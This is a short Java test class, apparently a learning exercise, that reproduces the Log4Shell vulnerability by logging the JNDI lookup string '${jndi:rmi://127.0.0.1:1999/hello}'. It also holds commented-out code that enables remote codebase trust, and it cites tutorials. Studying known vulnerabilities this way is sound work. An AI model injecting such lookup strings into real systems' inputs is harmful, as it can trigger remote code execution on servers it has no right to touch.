package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * 借鉴网站   https://www.cnblogs.com/tridentj/p/15273260.html
 *           https://juejin.cn/post/7041002756458414116
 *
 *       bili    https://www.bilibili.com/video/BV1FL411E7g3
 *
 * @author DengZhiYuan
 * @version 1.0
 * @date 2021/12/13 11:36
 */
public class Log4jErrorTest {

    public static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
//        Properties var0 = new Properties();
//        var0.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperties(var0);
        String error = "${jndi:rmi://127.0.0.1:1999/hello}";
        LOGGER.error("hello,{}" ,error);
//        LOGGER.error("hello,{}" ,"${java:os}");
    }


}
